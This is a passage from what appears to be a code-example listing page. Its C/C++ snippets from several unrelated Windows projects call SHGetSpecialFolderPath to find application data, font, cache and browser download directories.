	WCHAR w_str[MAX_PATH];

	// Application Data is where user settings go
	SHGetSpecialFolderPath(NULL, w_str, CSIDL_APPDATA, TRUE);

	mOSUserDir = utf16str_to_utf8str(llutf16string(w_str));

	// We want cache files to go on the local disk, even if the
	// user is on a network with a "roaming profile".
	//
	// On XP this is:
	//   C:\Docments and Settings\James\Local Settings\Application Data
	// On Vista this is:
	//   C:\Users\James\AppData\Local
	//
	// We used to store the cache in AppData\Roaming, and the installer
	// cleans up that version on upgrade.  JC

	if(HMODULE shell = LoadLibrary(L"shell32"))	//SHGetSpecialFolderPath is deprecated from Vista an onwards. Try to use SHGetSpecialFolderPath if it's available
	{
		HRESULT (WINAPI* pSHGetKnownFolderPath)(REFKNOWNFOLDERID rfid, DWORD dwFlags, HANDLE hToken, PWSTR *ppszPath);
		pSHGetKnownFolderPath = (HRESULT (WINAPI *)(REFKNOWNFOLDERID, DWORD, HANDLE, PWSTR *))GetProcAddress(shell, "SHGetKnownFolderPath");
		WCHAR* pPath = NULL;
		if(pSHGetKnownFolderPath && (*pSHGetKnownFolderPath)(FOLDERID_LocalAppData, 0, NULL, &pPath) == S_OK)
			wcscpy_s(w_str,pPath);
		else
			SHGetSpecialFolderPath(NULL, w_str, CSIDL_LOCAL_APPDATA, TRUE);

		FreeLibrary(shell);
		if(pPath)
			CoTaskMemFree(pPath);
	}
	else	//XP doesn't support SHGetKnownFolderPath
	{
		SHGetSpecialFolderPath(NULL, w_str, CSIDL_LOCAL_APPDATA, TRUE);
	}
	mOSCacheDir = utf16str_to_utf8str(llutf16string(w_str));

	if (GetTempPath(MAX_PATH, w_str))
	{
		if (wcslen(w_str))	/* Flawfinder: ignore */ 
		{
			w_str[wcslen(w_str)-1] = '\0'; /* Flawfinder: ignore */ // remove trailing slash
		}
		mTempDir = utf16str_to_utf8str(llutf16string(w_str));
	}
	else
	{
		mTempDir = mOSUserDir;
	}

//	fprintf(stderr, "mTempDir = <%s>",mTempDir);

	// Set working directory, for LLDir::getWorkingDir()
	GetCurrentDirectory(MAX_PATH, w_str);
	mWorkingDir = utf16str_to_utf8str(llutf16string(w_str));

	// Set the executable directory
	S32 size = GetModuleFileName(NULL, w_str, MAX_PATH);
	if (size)
	{
		w_str[size] = '\0';
		mExecutablePathAndName = utf16str_to_utf8str(llutf16string(w_str));
		S32 path_end = mExecutablePathAndName.find_last_of('\\');
		if (path_end != std::string::npos)
		{
			mExecutableDir = mExecutablePathAndName.substr(0, path_end);
			mExecutableFilename = mExecutablePathAndName.substr(path_end+1, std::string::npos);
		}
		else
		{
			mExecutableFilename = mExecutablePathAndName;
		}

	}
	else
	{
		fprintf(stderr, "Couldn't get APP path, assuming current directory!\n");
		mExecutableDir = mWorkingDir;
		// Assume it's the current directory
	}

	// mAppRODataDir = ".";	

	// Determine the location of the App-Read-Only-Data
	// Try the working directory then the exe's dir.
	mAppRODataDir = mWorkingDir;	


//	if (mExecutableDir.find("indra") == std::string::npos)
	
	// *NOTE:Mani - It is a mistake to put viewer specific code in
	// the LLDir implementation. The references to 'skins' and 
	// 'llplugin' need to go somewhere else.
	// alas... this also gets called during static initialization 
	// time due to the construction of gDirUtil in lldir.cpp.
	if(! LLFile::isdir(mAppRODataDir + mDirDelimiter + "skins"))
	{
		// What? No skins in the working dir?
		// Try the executable's directory.
		mAppRODataDir = mExecutableDir;
	}

	llinfos << "mAppRODataDir = " << mAppRODataDir << llendl;

	mSkinBaseDir = mAppRODataDir + mDirDelimiter + "skins";

	// Build the default cache directory
	mDefaultCacheDir = buildSLOSCacheDir();
	
	// Make sure it exists
	int res = LLFile::mkdir(mDefaultCacheDir);
	if (res == -1)
	{
		if (errno != EEXIST)
		{
			llwarns << "Couldn't create LL_PATH_CACHE dir " << mDefaultCacheDir << llendl;
		}
	}

	mLLPluginDir = mExecutableDir + mDirDelimiter + "llplugin";
}
Example #26
0
// This will NOT be called from PC versions
short InstallSystem() {

  TCHAR srcdir[MAX_PATH];
  TCHAR srcfile[MAX_PATH];

#ifdef WIN32
  TCHAR dstdir[MAX_PATH];
  TCHAR maindir[MAX_PATH];
  TCHAR dstfile[MAX_PATH];
  TCHAR tbuf[MAX_PATH*3];

  dstdir[0]='\0';

#endif

  bool failure=false;

  #if TESTBENCH
  StartupStore(_T(". Welcome to InstallSystem v1.2%s"),NEWLINE);
  #endif
  SystemPath(srcdir,TEXT(LKD_SYSTEM));


  // We now test for a single file existing inside the directory, called _DIRECTORYNAME
  // because GetFileAttributes can be very slow or hang if checking a directory. In any case testing a file is 
  // much more faster.
  _stprintf(srcfile,TEXT("%s%s_SYSTEM"),srcdir, _T(DIRSEP));
  if ( !lk::filesystem::exist(srcfile) ) {
	StartupStore(_T("------ InstallSystem ERROR could not find valid system directory <%s>%s"),srcdir,NEWLINE); // 091104
	StartupStore(_T("------ Missing checkfile <%s>%s"),srcfile,NEWLINE);
	failure=true;
  } else {
	#if TESTBENCH
	StartupStore(_T(". InstallSystem source directory <%s> is available%s"),srcdir,NEWLINE);
	#endif
  }

  if (  failure ) {
	StartupStore(_T("------ WARNING: NO font will be installed on device (and thus wrong text size displayed)%s"),NEWLINE);
	return 5; // 091109
  } else {

#if defined(PNA) && defined(UNDER_CE)
	if (GlobalModelType == MODELTYPE_PNA_HP31X) { // 091109

		StartupStore(_T(". InstallSystem checking desktop links for HP31X%s"),NEWLINE);

		_stprintf(dstdir,TEXT("\\Windows\\Desktop"));
		if ( !lk::filesystem::isDirectory(dstdir) ) { // FIX
			StartupStore(_T("------ Desktop directory <%s> NOT found! Is this REALLY an HP31X?%s"),dstdir,NEWLINE);
		} else {
			_stprintf(srcfile,TEXT("%s\\LK8_HP310.lnk"),srcdir);
			_stprintf(dstfile,TEXT("%s\\LK8000.lnk"),dstdir);
			if ( lk::filesystem::exist(dstfile) ) {
				StartupStore(_T(". Link to LK8000 already found on the desktop, ok.%s"),NEWLINE);
			} else {
				StartupStore(_T(". Installing <%s>%s"),srcfile,NEWLINE);
				if (!lk::filesystem::copyFile(srcfile,dstfile,true))  {
					StartupStore(_T("------ Could not install in <%s>. Strange.%s"),dstfile,NEWLINE);
					StartupStore(_T("------ Error code was: %ld%s"),GetLastError(),NEWLINE);
				} else
					StartupStore(_T(". Installed <%s> link.%s"),dstfile,NEWLINE);
			}
			#if 0
			_stprintf(srcfile,TEXT("%s\\LK8SIM_HP310.lnk"),srcdir);
			_stprintf(dstfile,TEXT("%s\\SIM.lnk"),dstdir);
			if ( lk::filesystem::exist(dstfile) ) {
				StartupStore(_T(". Link to SIM LK8000 already found on the desktop, ok.%s"),NEWLINE);
			} else {
				StartupStore(_T(". Installing <%s>%s"),srcfile,NEWLINE);
				if (!lk::filesystem::copyFile(srcfile,dstfile,true))  {
					StartupStore(_T("------ Could not install in <%s>. Strange.%s"),dstfile,NEWLINE);
					StartupStore(_T("------ Error code was: %ld%s"),GetLastError(),NEWLINE);
				} else
					StartupStore(_T(". Installed <%s> link.%s"),dstfile,NEWLINE);
			}
			#endif
			_stprintf(srcfile,TEXT("%s\\BT_HP310.lnk"),srcdir);
			_stprintf(dstfile,TEXT("%s\\BlueTooth.lnk"),dstdir);
			if ( lk::filesystem::exist(dstfile) ) {
				StartupStore(_T(". Link to BlueTooth already found on the desktop, ok.%s"),NEWLINE);
			} else {
				StartupStore(_T(". Installing <%s>%s"),srcfile,NEWLINE);
				if (!lk::filesystem::copyFile(srcfile,dstfile,true))  {
					StartupStore(_T("------ Could not install in <%s>. Strange.%s"),dstfile,NEWLINE);
					StartupStore(_T("------ Error code was: %ld%s"),GetLastError(),NEWLINE);
				} else
					StartupStore(_T(". Installed <%s> link.%s"),dstfile,NEWLINE);
			}
			_stprintf(srcfile,TEXT("%s\\NAV_HP310.lnk"),srcdir);
			_stprintf(dstfile,TEXT("%s\\CarNav.lnk"),dstdir);
			if ( lk::filesystem::exist(dstfile) ) {
				StartupStore(_T(". Link to Car Navigator already found on the desktop, ok.%s"),NEWLINE);
			} else {
				StartupStore(_T(". Installing <%s>%s"),srcfile,NEWLINE);
				if (!lk::filesystem::copyFile(srcfile,dstfile,true))  {
					StartupStore(_T("------ Could not install in <%s>. Strange.%s"),dstfile,NEWLINE);
					StartupStore(_T("------ Error code was: %ld%s"),GetLastError(),NEWLINE);
				} else
					StartupStore(_T(". Installed <%s> link.%s"),dstfile,NEWLINE);
			}
			_stprintf(srcfile,TEXT("%s\\TLOCK_HP310.lnk"),srcdir);
			_stprintf(dstfile,TEXT("%s\\TouchLock.lnk"),dstdir);
			if ( lk::filesystem::exist(dstfile) ) {
				StartupStore(_T(". Link to TouchLock already found on the desktop, ok.%s"),NEWLINE);
			} else {
				StartupStore(_T(". Installing <%s>%s"),srcfile,NEWLINE);
				if (!lk::filesystem::copyFile(srcfile,dstfile,true))  {
					StartupStore(_T("------ Could not install in <%s>. Strange.%s"),dstfile,NEWLINE);
					StartupStore(_T("------ Error code was: %ld%s"),GetLastError(),NEWLINE);
				} else
					StartupStore(_T(". Installed <%s> link.%s"),dstfile,NEWLINE);
			}
		}
	}
#endif

  }

#ifdef WIN32
  // search for the main system directory on the real device
  // Remember that SHGetSpecialFolder works differently on CE platforms, and you cannot check for result.
  // We need to verify if directory does really exist.

//  SHGetSpecialFolderPath(MainWindow, dstdir, CSIDL_WINDOWS, false);
  if ( _tcslen(dstdir) <6) {
	_stprintf(tbuf,_T("------ InstallSystem PROBLEM: cannot locate the Windows folder, got string:<%s>%s"),dstdir,NEWLINE);
	StartupStore(tbuf);
	StartupStore(_T("------ InstallSystem attempting to use default \"\\Windows\" but no warranty!%s"),NEWLINE);
	_stprintf(dstdir,TEXT("\\Windows")); // 091118
  } else {
	StartupStore(_T(". InstallSystem: Windows path reported from device is: <%s>%s"),dstdir,NEWLINE);
  }
  _tcscpy(maindir,dstdir);

  // we are shure that \Windows does exist already.
  TCHAR fontdir[MAX_PATH];
  fontdir[0] = _T('\0');
  dstdir[0] = _T('\0');
  #ifdef PNA
  if ( GetFontPath(fontdir) == FALSE ) {
	StartupStore(_T(". Special RegKey for fonts not found on this PNA, using standard folder.%s"), NEWLINE);
//	SHGetSpecialFolderPath(MainWindow, dstdir, CSIDL_FONTS, false);
	if ( _tcslen(dstdir) <5 ) {
		_stprintf(tbuf,_T("------ PROBLEM: cannot locate the Fonts folder, got string:<%s>%s"),dstdir,NEWLINE);
		StartupStore(tbuf);
		_stprintf(tbuf,_T("------ Attempting to use directory <%s> as a fallback%s"),maindir,NEWLINE);
		StartupStore(tbuf);
		_tcscpy(dstdir,maindir);
	}
  } else {
	StartupStore(_T(". RegKey Font directory is <%s>%s"),fontdir,NEWLINE);
	lk::filesystem::createDirectory(fontdir);
	_tcscpy(dstdir,fontdir); 
  }
  #else
  UNUSED(fontdir);
  // this is not working correctly on PNA, it is reporting Windows Fonts even with another value in regkey
  SHGetSpecialFolderPath(MainWindow.Handle(), dstdir, CSIDL_FONTS, false);
  if ( _tcslen(dstdir) <5 ) {
	_stprintf(tbuf,_T("------ PROBLEM: cannot locate the Fonts folder, got string:<%s>%s"),dstdir,NEWLINE);
	StartupStore(tbuf);
	_stprintf(tbuf,_T("------ Attempting to use directory <%s> as a fallback%s"),maindir,NEWLINE);
	StartupStore(tbuf);
	_tcscpy(dstdir,maindir);
  }
  #endif

  _stprintf(tbuf,_T(". InstallSystem: Copy/Check Fonts from <%s> to <%s>%s"), srcdir, dstdir,NEWLINE);
  StartupStore(tbuf);
  // on PNAs sometimes FolderPath is reported correctly, but the directory is not existing!
  // this is not needed really on PNA, but doesnt hurt
  lk::filesystem::createDirectory(dstdir); // 100820


  // we cannot check directory existance without the risk of hanging for many seconds
  // we can only rely on singe real file existance, not on directories

  #if TESTBENCH
  StartupStore(_T(". Checking TAHOMA font%s"),NEWLINE);
  #endif
  _stprintf(srcfile,TEXT("%s\\TAHOMA.TTF"),srcdir);
  _stprintf(dstfile,TEXT("%s\\TAHOMA.TTF"),dstdir);
  if ( lk::filesystem::exist(dstfile) ) {
	#if TESTBENCH
	StartupStore(_T(". Font TAHOMA.TTF is already installed%s"),NEWLINE);
	#endif
  } else {
	if ( !lk::filesystem::copyFile(srcfile,dstfile,false) )  {
		StartupStore(_T("------ Could not copy TAHOMA.TTF on device, not good.%s"),NEWLINE);
		StartupStore(_T("------ Error code was: %ld%s"),GetLastError(),NEWLINE);
	} else
		StartupStore(_T("... Font TAHOMA.TTF installed on device%s"),NEWLINE);
  }

  // not needed, cannot overwrite tahoma while in use! Tahoma bold not used for some reason in this case.
  // Problem solved, look at FontPath !!

  #if TESTBENCH
  StartupStore(_T(". Checking TAHOMABD font%s"),NEWLINE);
  #endif
  _stprintf(srcfile,TEXT("%s\\TAHOMABD.TTF"),srcdir);
  _stprintf(dstfile,TEXT("%s\\TAHOMABD.TTF"),dstdir);
  if ( lk::filesystem::exist(dstfile) ) {
	#if TESTBENCH
	StartupStore(_T(". Font TAHOMABD.TTF is already installed%s"),NEWLINE);
	#endif
  } else {
	if ( !lk::filesystem::copyFile(srcfile,dstfile,false))  {
		StartupStore(_T("------ Could not copy TAHOMABD.TTF on device, not good.%s"),NEWLINE);
		StartupStore(_T("------ Error code was: %ld%s"),GetLastError(),NEWLINE);
	} else
		StartupStore(_T("... Font TAHOMABD.TTF installed on device%s"),NEWLINE);
  }
#endif
  #if TESTBENCH
  StartupStore(_T(". InstallSystem completed OK%s"),NEWLINE);
  #endif

  return 0;

}
Example #27
0
File: config.cpp Project: 4play/xbt
void Cconfig::fill_maps(const Cconfig* v)
{
	{
		t_attribute<bool> attributes[] =
		{
			"bind_before_connect", &m_bind_before_connect, false,
			"log_peer_connect_failures", &m_log_peer_connect_failures, false,
			"log_peer_connection_closures", &m_log_peer_connection_closures, false,
			"log_peer_recv_failures", &m_log_peer_recv_failures, false,
			"log_peer_send_failures", &m_log_peer_send_failures, false,
			"log_piece_valid", &m_log_piece_valid, false,
			"send_stop_event", &m_send_stop_event, false,
			"upnp", &m_upnp, true,
			NULL
		};
		fill_map(attributes, v ? &v->m_attributes_bool : NULL, m_attributes_bool);
	}
	{
		t_attribute<int> attributes[] =
		{
			"admin_port", &m_admin_port, 6879,
			"peer_limit", &m_peer_limit, 0,
			"peer_port", &m_peer_port, 6881,
			"seeding_ratio", &m_seeding_ratio, 0,
			"torrent_limit", &m_torrent_limit, 0,
			"torrent_upload_slots_max", &m_torrent_upload_slots_max, 0,
			"torrent_upload_slots_min", &m_torrent_upload_slots_min, 0,
			"upload_rate", &m_upload_rate, 0,
			"upload_slots", &m_upload_slots, 8,
			NULL
		};
		fill_map(attributes, v ? &v->m_attributes_int : NULL, m_attributes_int);
	}
	{
		t_attribute<std::string> attributes[] =
		{
			"admin_user", &m_admin_user, "xbt",
			"admin_pass", &m_admin_pass, "",
			"completes_dir", &m_completes_dir, "Completes",
			"incompletes_dir", &m_incompletes_dir, "Incompletes",
			"peer_id_prefix", &m_peer_id_prefix, "",
			"public_ipa", &m_public_ipa, "",
			"torrents_dir", &m_torrents_dir, "Torrents",
			"user_agent", &m_user_agent, "",
			NULL, NULL, ""
		};
		fill_map(attributes, v ? &v->m_attributes_string : NULL, m_attributes_string);
	}
	if (v)
	{
		m_local_app_data_dir = v->m_local_app_data_dir;
	}
	else
	{
#ifdef WIN32
		char path[MAX_PATH];
		std::string home = SHGetSpecialFolderPath(NULL, path, CSIDL_PERSONAL, true) ? path : "C:";
#else
		std::string home = get_env("HOME");
#endif
		if (home.empty())
			m_local_app_data_dir = ".";
		else
		{
			m_completes_dir = home + "/XBT/Completes";
			m_local_app_data_dir = home + "/XBT";
			m_incompletes_dir = home + "/XBT/Incompletes";
			m_torrents_dir = home + "/XBT/Torrents";
		}
	}
}
Example #28
0
BOOL bigfilehelper::GetChromeDownloadDirs(std::vector<CString>& vDirs)
{
    WCHAR szPath[MAX_PATH] = {0};
    BOOL bRet = FALSE;
    CString szPathFull;
    CString szPathFullEx;
    CString szTarget;
    int nPos = -1;
    CString strPath = L"";
    WCHAR szAppDataPath[MAX_PATH] = { 0 };
    
    bRet = SHGetSpecialFolderPath(NULL, szAppDataPath, CSIDL_PERSONAL, FALSE);
    if(bRet)
    {
        wcscat(szAppDataPath,L"\\Downloads");
        if(szAppDataPath[0]==GetSystemDrive())
            vDirs.push_back(szAppDataPath);
    }

    bRet = SHGetSpecialFolderPath(NULL, szPath, CSIDL_LOCAL_APPDATA, FALSE);

    //bRet = SHGetFolderPath(NULL, CSIDL_COMMON_APPDATA, NULL, SHGFP_TYPE_DEFAULT, szPath);;
    szPathFull = szPath;
    szPathFullEx = szPath;
    szPathFullEx += _T("\\Google\\Chrome\\User Data\\Default\\Preferences");
    szPathFull += _T("\\Google\\Chrome\\User Data\\Default");

    WCHAR szRecord[MAX_PATH] = {0};
    std::vector<std::wstring> vLogCache;
    std::vector<std::wstring>::iterator itor;

    const WCHAR* Point = NULL;
    HRESULT hrRet = E_FAIL;
    std::vector<std::wstring> vcStrline;
    BYTE* pBuf = NULL;
    FILE* pFile = NULL;
    DWORD dwRealReadSize = 0;

    DWORD dwFileSize  = _DoGetFileSizeByFileName(szPathFullEx);
    if (dwFileSize <= 0)
    {
        hrRet = E_FAIL;
        goto _Exit;
    }

    pBuf = new BYTE[dwFileSize * 2 + 2];
    if (!pBuf)
    {
        hrRet = E_OUTOFMEMORY;
        goto _Exit;
    }

    ::ZeroMemory(pBuf, dwFileSize * 2 + 2);

    pFile = ::_wfopen(szPathFullEx, L"rt,ccs=UTF-8");
    if (!pFile)
    {
        hrRet = E_FAIL;
        goto _Exit;
    }

    dwRealReadSize = (DWORD)::fread(pBuf, sizeof(WCHAR), dwFileSize, pFile);
    if (dwRealReadSize == 0)
    {
        hrRet = E_FAIL;
        goto _Exit;
    }

    WCHAR* pszInfo = (WCHAR*)pBuf;

    DWORD dwLineCount = _DoGetLineByBuf(pszInfo, (DWORD)::wcslen(pszInfo), vLogCache);

    for (itor = vLogCache.begin(); itor != vLogCache.end(); itor++)
    {
        szTarget = (*itor).c_str();
        nPos = szTarget.Find(L"default_directory");
        if (nPos != -1)
        {
            nPos = szTarget.Find(L":");
            szTarget = szTarget.Right(szTarget.GetLength() - nPos - 3);
            nPos = szTarget.Find(L"\"");
            szTarget = szTarget.Left(nPos);
            break;
        }
    }

    // 	if (_wcsicmp(szRecord, L"") == 0)
    // 	{
    // 		bRet = FALSE;
    // 		goto _Exit;
    // 	}

    for (int nIndex=0; nIndex<szTarget.GetLength();)
    {
        if(szTarget.GetAt(nIndex)==L'\\'&&szTarget.GetAt(nIndex+1)==L'\\')
        {
            strPath += L"\\";
            nIndex += 2;
        }
        else
        {
            strPath += szTarget.GetAt(nIndex);
            nIndex++;
        }

    }

    if(strPath.GetAt(0)==GetSystemDrive()||strPath[0]==GetSystemDrive()-32||strPath[0]==GetSystemDrive()+32)
        vDirs.push_back(strPath);
    else goto _Exit;
    hrRet = S_OK;
    bRet = TRUE;
_Exit:

    if (pBuf)
    {
        delete []pBuf;
        pBuf = NULL;
    }
    if (pFile)
    {
        fclose(pFile);
        pFile = NULL;
    }
    return bRet;
}
Example #29
0
PTSTR Expand(PTSTR ptzDst, TCHAR tMacro, CXT& XT)
{
	INT i;
	switch (tMacro)
	{
	case 'E':
		for (PCTSTR p = XT.ptzFile; *p; *ptzDst++ = *p++);
		return ptzDst;

	case 'C':
		if (PCTSTR q = UStrRChr(XT.ptzFile, '\\'))
		{
			for (PCTSTR p = XT.ptzFile; p < q; *ptzDst++ = *p++);
		}
		return ptzDst;

	case 'T':
		ptzDst += GetTimeFormat(LOCALE_USER_DEFAULT, 0, NULL, NULL, ptzDst, MAX_NAME) - 1;
		return ptzDst;

	case 'D':
		ptzDst += GetDateFormat(LOCALE_USER_DEFAULT, 0, NULL, NULL, ptzDst, MAX_NAME) - 1;
		return ptzDst;

	case 'X':
	case 'x':
		ptzDst += UStrPrint(ptzDst,  (tMacro == 'X') ? TEXT("%#X") : TEXT("%d"), XT.hXVar);
		return ptzDst;

	case '0':
	case '1':
	case '2':
	case '3':
	case '4':
	case '5':
	case '6':
	case '7':
	case '8':
	case '9':
		for (PTSTR p = g_tzXVar[tMacro - '0']; *p; p++) *ptzDst++ = *p;
		return ptzDst;

	case 'A': i = CSIDL_APPDATA; break;
	case 'Y': i = CSIDL_MYDOCUMENTS; break;
	case 'S': i = CSIDL_STARTUP; break;
	case 'M': i = CSIDL_STARTMENU; break;
	case 'P': i = CSIDL_PROGRAMS; break;
	case 'V': i = CSIDL_FAVORITES; break;
	case 'Z': i = CSIDL_MYPICTURES; break;
	case 'U': i = CSIDL_MYMUSIC; break;
	case 'I': i = CSIDL_MYVIDEO; break;
	case 'F': i = CSIDL_PROGRAM_FILES; break;
	case 'O': i = CSIDL_SENDTO; break;
	case 'o': i = CSIDL_DESKTOPDIRECTORY; break;

	case 'd': i = CSIDL_COMMON_DESKTOPDIRECTORY; break;
	case 'a': i = CSIDL_COMMON_APPDATA; break;
	case 'y': i = CSIDL_COMMON_DOCUMENTS; break;
	case 's': i = CSIDL_COMMON_STARTUP; break;
	case 'm': i = CSIDL_COMMON_STARTMENU; break;
	case 'p': i = CSIDL_COMMON_PROGRAMS; break;
	case 'v': i = CSIDL_COMMON_FAVORITES; break;
	case 'z': i = CSIDL_COMMON_PICTURES; break;
	case 'u': i = CSIDL_COMMON_MUSIC; break;
	case 'i': i = CSIDL_COMMON_VIDEO; break;
	case 'f': i = CSIDL_PROGRAM_FILES_COMMON; break;

	case 'W': case 'w': i = CSIDL_WINDOWS; break;

	case 'R': *ptzDst++ = '\r'; return ptzDst;
	case 'N': *ptzDst++ = '\n'; return ptzDst;
	default: *ptzDst++ = tMacro; return ptzDst;
	}

	SHGetSpecialFolderPath(NULL, ptzDst, i, TRUE);
	ptzDst += UStrLen(ptzDst);
	return ptzDst;
}
Example #30
0
// 获得Firefox的下载目录
BOOL bigfilehelper::GetFirefoxDownloadDirs(std::vector<CString>& vDirs)
{
    WCHAR szPath[MAX_PATH] = {0};
    BOOL bRet = FALSE;
    CString szPathFull;
    CString szPathFullEx;
    CString szTarget;
    CString strPath = L"";
    int nPos = -1;
    WCHAR szAppDataPath[MAX_PATH] = { 0 };
    WinVersion winVer;

    winVer = KGetWinVersion();

    if(WINVERSION_WIN7 == winVer)
    {
        bRet = SHGetSpecialFolderPath(NULL, szAppDataPath, CSIDL_PERSONAL, FALSE);
        if(bRet)
        {
            CString tmpdir(szAppDataPath);
            tmpdir = tmpdir.Left(tmpdir.ReverseFind(L'\\'));
            tmpdir += L"\\downloads";
            if(tmpdir.GetAt(0)==GetSystemDrive())
                vDirs.push_back(tmpdir);
        }

    }
    else
    {
        bRet = SHGetSpecialFolderPath(NULL, szAppDataPath, CSIDL_PERSONAL, FALSE);
        if(bRet)
        {
            wcscat(szAppDataPath,L"\\下载");
            if(szAppDataPath[0]==GetSystemDrive())
                vDirs.push_back(szAppDataPath);
        }
    }

    bRet = SHGetSpecialFolderPath(NULL, szPath, CSIDL_APPDATA, FALSE);
    szPathFull = szPath;
    szPathFullEx = szPath;
    szPathFullEx += _T("\\Mozilla\\Firefox");
    szPathFull += _T("\\Mozilla\\Firefox\\profiles.ini");

    WCHAR szRecord[MAX_PATH] = {0};
    std::vector<std::wstring> vLogCache;
    std::vector<std::wstring>::iterator itor;

    GetPrivateProfileString(L"Profile0", L"Path", NULL, szRecord, MAX_PATH - 1, szPathFull);

    szPathFullEx += L"\\";
    szPathFullEx += szRecord;

    szPathFullEx += L"\\prefs.js";

    const WCHAR* Point = NULL;
    HRESULT hrRet = E_FAIL;
    std::vector<std::wstring> vcStrline;
    BYTE* pBuf = NULL;
    FILE* pFile = NULL;
    DWORD dwRealReadSize = 0;

    DWORD dwFileSize  = _DoGetFileSizeByFileName(szPathFullEx);
    if (dwFileSize <= 0)
    {
        hrRet = E_FAIL;
        goto _Exit;
    }

    pBuf = new BYTE[dwFileSize * 2 + 2];
    if (!pBuf)
    {
        hrRet = E_OUTOFMEMORY;
        goto _Exit;
    }

    ::ZeroMemory(pBuf, dwFileSize * 2 + 2);

    pFile = ::_wfopen(szPathFullEx, L"rt,ccs=UTF-8");
    if (!pFile)
    {
        hrRet = E_FAIL;
        goto _Exit;
    }

    dwRealReadSize = (DWORD)::fread(pBuf, sizeof(WCHAR), dwFileSize, pFile);
    if (dwRealReadSize == 0)
    {
        hrRet = E_FAIL;
        goto _Exit;
    }

    WCHAR* pszInfo = (WCHAR*)pBuf;

    DWORD dwLineCount = _DoGetLineByBuf(pszInfo, (DWORD)::wcslen(pszInfo), vLogCache);

    for (itor = vLogCache.begin(); itor != vLogCache.end(); itor++)
    {
        szTarget = (*itor).c_str();
        nPos = szTarget.Find(L"browser.download.dir");
        if (nPos != -1)
        {
            nPos = szTarget.Find(L",");
            szTarget = szTarget.Right(szTarget.GetLength() - nPos - 3);
            nPos = szTarget.Find(L"\"");
            szTarget = szTarget.Left(nPos);
            break;
        }
    }
    if (_wcsicmp(szTarget, L"") == 0)
    {
        return FALSE;
    }

    for (int nIndex=0; nIndex<szTarget.GetLength();)
    {
        if(szTarget.GetAt(nIndex)==L'\\'&&szTarget.GetAt(nIndex+1)==L'\\')
        {
            strPath += L"\\";
            nIndex += 2;
        }
        else
        {
            strPath += szTarget.GetAt(nIndex);
            nIndex++;
        }

    }
    if(strPath.GetAt(0)==GetSystemDrive()||strPath[0]==GetSystemDrive()-32||strPath[0]==GetSystemDrive()+32)
        vDirs.push_back(strPath);
    else goto _Exit;
    hrRet = S_OK;

_Exit:

    if (pBuf)
    {
        delete []pBuf;
        pBuf = NULL;
    }
    if (pFile)
    {
        fclose(pFile);
        pFile = NULL;
    }
    return TRUE;
}